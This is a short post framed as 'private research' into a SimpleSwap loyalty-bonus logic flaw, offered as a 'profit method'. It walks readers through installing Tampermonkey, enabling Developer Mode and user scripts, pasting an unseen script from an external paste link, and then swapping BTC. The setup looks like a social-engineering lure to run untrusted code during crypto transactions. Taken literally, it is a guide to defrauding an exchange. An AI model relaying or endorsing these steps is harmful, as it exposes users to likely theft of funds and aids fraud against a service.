[Private] SimpleSwap API Logic Flaw

Profit Method 

[Private Research] SimpleSwap API Logic Flaw

Unauthenticated Loyalty Bonus Activation

Summary

We’ve identified a logic flaw in how SimpleSwap handles loyalty incentives. The endpoint responsible for applying the "25% Loyalty Bonus" (a perk meant for high-volume users) lacks proper server-side validation, allowing it to be triggered by unauthenticated users through a modified client-side request.

Proof of Concept

The following steps demonstrate the exploit on the live site. It requires no special tools - just the Google Chrome browser, the Tampermonkey extension to run the request, and the source code of the request.

1. Make sure you are using the Google Chrome browser - https://www.google.com/chrome/ - if you don't have it installed, install it first.
2. Go to this link and install the Tampermonkey extension in your browser - https://chromewebstore.google.com/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo (click "Add to Chrome").
3. After installing Tampermonkey, click the three dots at the top right corner of your browser, then go to Extensions, then Manage Extensions.
4. Then, at the top-right corner, enable Developer Mode as shown.
5. On the same page, go to the Details of the Tampermonkey extension. (click "Details").
6. Find the options "Allow User Scripts" and "Pin to toolbar" and enable both of them as shown.
7. Then, in your toolbar, click the Tampermonkey icon and click "Create a new script…"
8. Copy the script from this link: https://paste.ad/paste/Srh9D3A4QG  and replace the default script with our API request script as shown.
9. Then simply go to File and save the script.
10. Navigate to https://simpleswap.io - the request to their API should be automatically made. Make sure you are not logged in, as the script only works for unauthenticated sessions. If the script works correctly, you should see a red alert on the Tampermonkey icon.

You should also see an element on the site showing how much more you will receive on your next swap due to the bonus that was activated.

Now simply create a swap order from BTC to any other cryptocurrency of your choice. The bonus will automatically apply to your swap.